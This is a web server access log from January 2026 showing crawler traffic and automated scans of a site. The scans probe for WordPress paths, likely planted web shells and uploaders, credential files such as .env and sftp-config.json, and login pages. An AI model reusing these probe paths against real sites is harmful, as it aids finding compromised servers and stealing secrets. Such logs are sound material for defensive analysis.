[19/Jan/2026:15:35:25 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:27 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:29 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:14 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:14 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:14 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:16 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:16 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:16 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:16 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:16 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:17 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:17 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:17 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:17 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:19 +0300] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:21 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:22 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:24 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:26 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:28 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:30 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:32 +0300] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:34 +0300] "GET /wp-content/plugins/contact-form-7/admin/js/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:35 +0300] "GET /wp-content/plugins/contact-form-7/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:37 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:39 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:39 +0300] "GET /wp-content/plugins/wordpress-seo/js/dist/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:41 +0300] "GET /wp-content/plugins/wordpress-seo/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:42 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:44 +0300] "GET /wp-content/plugins/woocommerce/assets/js/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:45 +0300] "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:47 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:49 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:53 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:56 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:56 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:56 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:57 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:57 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:59 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 159.203.166.124 - - [19/Jan/2026:16:03:47 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 173.252.107.29 - - [19/Jan/2026:17:09:52 +0300] "GET / HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 36.41.75.167 - - [19/Jan/2026:17:11:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.244.66.194 - - [19/Jan/2026:17:45:12 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 132.196.60.193 - - [19/Jan/2026:16:38:05 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:07 +0300] "GET /ver.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:09 +0300] "GET /ultra.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:11 +0300] "GET /pro.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:13 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:14 +0300] "GET /e.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:16 +0300] "GET /data.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:18 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:20 +0300] "GET /z.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:22 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:23 +0300] "GET /image.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:25 +0300] "GET /file22.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:27 +0300] "GET /check.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:28 +0300] "GET /wp-header-json.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:29 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:31 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:33 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:34 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:36 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:38 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:38 +0300] "GET /file56.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:40 +0300] "GET /990.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:41 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:43 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 132.196.60.193 - - [19/Jan/2026:16:38:44 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 173.252.70.2 - - [19/Jan/2026:17:09:51 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 170.106.15.3 - - [19/Jan/2026:17:10:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.153.58.28 - - [19/Jan/2026:18:06:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.77.106.81 - - [19/Jan/2026:18:58:05 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 160.250.132.165 - - [19/Jan/2026:18:54:05 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://t.co/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 103.77.106.81 - - [19/Jan/2026:18:58:01 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 102.129.234.195 - - [19/Jan/2026:19:01:30 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 66.132.153.133 - - [19/Jan/2026:19:25:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 40.77.167.219 - - [19/Jan/2026:20:34:59 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 157.55.39.55 - - [19/Jan/2026:20:35:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 157.173.111.109 - - [19/Jan/2026:22:31:02 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 101.32.49.171 - - [19/Jan/2026:23:22:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.159.143.139 - - [20/Jan/2026:00:16:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 164.92.84.169 - - [20/Jan/2026:01:21:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 141.98.11.44 - - [20/Jan/2026:01:42:00 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.reddit.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.2277.83" 2.59.50.28 - - [20/Jan/2026:02:45:54 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 185.176.220.76 - - [20/Jan/2026:03:14:14 +0300] "HEAD / HTTP/1.1" 301 0 "http://eliteewallet.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 185.176.220.76 - - [20/Jan/2026:03:14:14 +0300] "GET / HTTP/1.1" 301 795 "http://eliteewallet.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 217.160.202.182 - - [20/Jan/2026:03:18:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 52.169.5.4 - - [20/Jan/2026:04:10:06 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [20/Jan/2026:04:10:08 +0300] "GET /abouta.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [20/Jan/2026:04:10:10 +0300] "GET /fclas.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [20/Jan/2026:04:10:11 +0300] "GET /File.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [20/Jan/2026:04:10:12 +0300] "GET /all.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [20/Jan/2026:04:10:13 +0300] "GET /bbn.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [20/Jan/2026:04:10:15 +0300] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [20/Jan/2026:04:10:16 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [20/Jan/2026:04:10:17 +0300] "GET /xz89.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [20/Jan/2026:04:10:18 +0300] "GET /thai.php HTTP/1.1" 301 795 "-" "-" 117.33.163.216 - - [20/Jan/2026:05:36:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.77.107.57 - - [20/Jan/2026:05:59:32 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 43.132.214.228 - - [20/Jan/2026:06:24:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.133.91.48 - - [20/Jan/2026:05:33:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.77.107.57 - - [20/Jan/2026:05:59:36 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 103.118.46.176 - - [20/Jan/2026:06:23:54 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.92.242.178 - - [20/Jan/2026:06:44:24 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 54.146.21.121 - - [20/Jan/2026:06:59:51 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 205.210.31.33 - - [20/Jan/2026:07:13:13 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 217.15.164.93 - - [20/Jan/2026:07:19:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 217.15.164.93 - - [20/Jan/2026:07:19:53 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 94.26.106.114 - - [20/Jan/2026:08:35:53 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 116.76.39.195 - - [20/Jan/2026:09:24:27 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.2829.84 Safari/537.36 Edge/18.18362" 152.69.210.5 - - [20/Jan/2026:09:40:29 +0300] "GET /user/login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 152.69.210.5 - - [20/Jan/2026:09:40:36 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 152.69.210.5 - - [20/Jan/2026:09:40:38 +0300] "GET /register HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 13; Mobile; rv:117.0) Gecko/117.0 Firefox/117.0" 152.69.210.5 - - [20/Jan/2026:09:40:40 +0300] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPad; CPU OS 17_4 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 152.69.210.5 - - [20/Jan/2026:09:40:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 152.69.210.5 - - [20/Jan/2026:09:40:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 152.69.210.5 - - [20/Jan/2026:09:40:21 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 152.69.210.5 - - [20/Jan/2026:09:40:21 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_1) AppleWebKit/605.1.15 Safari/605.1.15" 152.69.210.5 - - [20/Jan/2026:09:40:27 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_1) AppleWebKit/605.1.15 Safari/605.1.15" 152.69.210.5 - - [20/Jan/2026:09:40:31 +0300] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPad; CPU OS 17_4 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 152.69.210.5 - - [20/Jan/2026:09:40:43 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPad; CPU OS 17_4 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 164.92.81.124 - - [20/Jan/2026:10:21:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 17.22.253.239 - - [20/Jan/2026:10:51:42 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.22.253.239 - - [20/Jan/2026:10:51:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 40.69.66.178 - - [20/Jan/2026:10:57:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [20/Jan/2026:10:57:35 +0300] "GET /zz8.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [20/Jan/2026:10:57:37 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [20/Jan/2026:10:57:38 +0300] "GET /ww7.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [20/Jan/2026:10:57:40 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [20/Jan/2026:10:57:41 +0300] "GET /includes.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [20/Jan/2026:10:57:42 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [20/Jan/2026:10:57:43 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [20/Jan/2026:10:57:45 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [20/Jan/2026:10:57:46 +0300] "GET /fs7.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [20/Jan/2026:10:57:47 +0300] "GET /llsmps.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [20/Jan/2026:10:57:49 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 43.133.253.253 - - [20/Jan/2026:11:27:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 24.199.120.252 - - [20/Jan/2026:11:30:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 24.199.120.252 - - [20/Jan/2026:11:30:20 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 217.194.215.46 - - [20/Jan/2026:12:00:47 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" 13.74.146.113 - - [20/Jan/2026:12:12:59 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 13.74.146.113 - - [20/Jan/2026:12:13:02 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 222.184.48.249 - - [20/Jan/2026:12:11:50 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 101.32.15.141 - - [20/Jan/2026:12:21:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 164.92.84.169 - - [20/Jan/2026:14:41:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 216.244.66.194 - - [20/Jan/2026:15:22:45 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 173.252.82.112 - - [20/Jan/2026:15:33:56 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.159.143.139 - - [20/Jan/2026:17:08:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.106.73.216 - - [20/Jan/2026:18:01:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 3.111.198.245 - - [20/Jan/2026:20:04:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 103.216.80.212 - - [20/Jan/2026:18:20:56 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 165.232.138.94 - - [20/Jan/2026:18:58:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 165.232.138.94 - - [20/Jan/2026:18:58:25 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 155.94.150.238 - - [20/Jan/2026:20:59:23 +0300] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 93.158.90.65 - - [20/Jan/2026:21:22:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115" 155.94.150.238 - - [20/Jan/2026:20:58:06 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 155.94.150.238 - - [20/Jan/2026:20:58:44 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.97.101.178 - - [20/Jan/2026:23:01:46 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.135.183.82 - - [20/Jan/2026:23:17:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 205.169.39.46 - - [20/Jan/2026:23:28:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" 165.227.84.219 - - [21/Jan/2026:00:13:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 165.227.84.219 - - [21/Jan/2026:00:13:28 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 49.51.252.146 - - [21/Jan/2026:00:15:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac 